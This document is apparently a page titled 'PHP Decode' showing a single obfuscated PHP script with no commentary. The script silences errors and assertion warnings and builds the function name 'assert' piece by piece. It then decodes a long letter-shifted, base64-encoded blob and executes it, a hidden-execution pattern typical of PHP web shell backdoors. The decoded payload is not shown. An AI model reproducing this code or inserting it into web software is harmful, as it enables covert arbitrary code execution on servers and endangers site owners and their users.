PHP Decode

<?php 
error_reporting(0);assert_options(ASSERT_ACTIVE,1);assert_options(ASSERT_WARNING,0);assert_options(ASSERT_QUIET_EVAL,1); 
$strings="a";$strings.="s";$strings.="se";$strings.="r";$strings.="t"; 
$string=vd_winie_xa5("gxcn(dcug64_fgeqfg('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cZK9e3Xke3TaMETwBZfhBInaNJP0epLyd3OqLI5nf19mcZKuLa8pMUuzMUuzQ21tBInaMETlAYPqBYTrek4pNaewLI5nf19mcZKrQaTmcZK9AZLaAZmqL2Treke9RkTwBZfhBInaNEfocYzneae9RlGrQ2BrdIXheJX0Z2PxdpTndpTbMETlAYPqBX9od2zmBZKue2XacYHucZrnMETmcZKrMVumA2HlcIXucY5tRUTlAYPqBYTrek4pNaewLI5nf19mcZKwLa8pNoPaAbOaZ3P0eozndkimfIjre3DjB2WrNkKwLJT5eIWkQ30iBYzbBUD7LJLael1aB2zxAkjleoObOn9bfJLuBY4qLJTqcZPyAYfnMU4kNkT0gZDnKkymA2HlcIXmcZKrQ2noMETaepKrg3LnAYTocYznMETaepKrQ2TrBVv9LIByRYBxeIXwMETlAYPqBX9od2zmBZKuL2GtLam7BozxA2uqLIByNGzRS0vhTXirQ2BbBYXtMEToeEyyMVumBInaRZTacY0qBofnfJOqLIByMUm7BpTafY5lAZTnMEToeEyyMVvrBkimBInaKV09LaerLITrel11dpPneonjdIn6BUimBInaMVvndJPngaTmcZK9AZLaAZmqL2Treke9RlGuL2BrdIXbLb0+OEm7LIzre3S9AZLaAZmqKkTlAYPqBYTrek8mBInaY2Tren0kMVvCdYvmcZKqKkTlAYPqBYTrek8mBInaY2Tren0kMVv9cYAqLITrenupBonuBZOpZV49MInwfEmmA2HlcIXIcYznean7LITrenupBInaL109doX4fGBxdITnekimA2HlcIXmcZKrQaTmcZLdL2BrdIXbL109OFvvc2TrekimA2HlcIXmcZKwLa8pNkTmcZLdL2TrekffMVv9LITrenupBonuBZOpZUutQ2B3eon0BUimBpCue2XacYHucZrnMETmcZKrMVvoBoz1e2iqLIByMVvodI9lcaimBpCuVG9FU19XVkm7BoPud3PnMEToeEm7LIzre3S9AZLaAZmqKkTmcZLdBInaZUKrQaTwBZfhBInaRUTmcZLdL2TrekffQ2noMEDre19mcZKqLIPjA2jnBInaNkexLa4mdoX3Z2TrekmrgaTlAYPqBYzrdou9LIPjA2jnBInaNkexLa4mdoX3Z2Trek4pNaewA3LlObLh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'));",2*(-1)); 
$strings($string); 
function vd_winie_xa5($s,$n){$n=(int)$n%26;if(!$n)return $s;for($i=0,$l=strlen($s);$i<$l;$i++){$c=ord($s[$i]);if($c>=97 && $c<=122){$s[$i]=chr(($c-71+$n)%26+97);}else if($c>=65 && $c<=90){$s[$i]=chr(($c-39+$n)%26+65);}}return $s;} 
 ?>